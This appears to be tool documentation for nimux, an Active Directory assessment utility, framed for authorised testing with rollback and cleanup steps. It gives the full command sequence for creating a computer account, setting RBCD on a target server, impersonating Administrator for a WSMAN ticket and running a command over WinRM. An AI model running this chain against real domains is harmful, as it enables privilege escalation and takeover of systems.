Computer Account Workflows with nimux

Overview

Computer accounts are useful in Active Directory assessments because they can become controlled Kerberos principals. When rules of engagement allow LDAP object creation, a controlled computer account can support RBCD validation, service-ticket requests, and machine-context testing without touching unrelated production objects.

nimux supports computer creation, LDAPS password setup, Kerberos ticket requests, RBCD writes, and validation commands.

Create a controlled computer account

Use a clear test name and a strong password. Prefer LDAPS when setting the password during creation.

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --create computer \
  --name controlled-computer$ \
  --new-pass '<machine-password>' \
  --ldaps \
  --rollback-out computer-create-rollback.jsonl

If the workflow supports generated passwords, store the generated value securely. Treat machine account passwords as reusable credential material.

Verify the account

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --filter '(sAMAccountName=controlled-computer$)' \
  --attrs distinguishedName,dNSHostName,userAccountControl,servicePrincipalName

Validate authentication with Kerberos:

nimux kerberos dc01.corp.local -d corp.local \
  -u 'controlled-computer$' \
  -p '<machine-password>' \
  --request kinit \
  --out controlled-computer.ccache

Use the computer account for RBCD

When the controlled computer account is allowed to act on a target computer, configure RBCD with rollback records.

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --set-rbcd \
  --from controlled-computer$ \
  --to target-server$ \
  --rollback-out rbcd-computer-rollback.jsonl

Request a service ticket from the controlled computer cache:

nimux kerberos dc01.corp.local -d corp.local \
  --request rbcd \
  --ccache controlled-computer.ccache \
  --user Administrator \
  --service WSMAN/target-server.corp.local \
  --out admin-wsman-target.ccache

Validate only the required action:

nimux winrm target-server.corp.local -d corp.local -k \
  --ccache admin-wsman-target.ccache \
  --cmd whoami

Cleanup

Remove RBCD changes first, then delete the controlled computer if it was created only for validation.

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --delete-computer \
  --name controlled-computer$

Reporting

Report who created the computer, where it was created, what target object accepted the RBCD relationship, which service ticket was requested, and whether the test object was removed.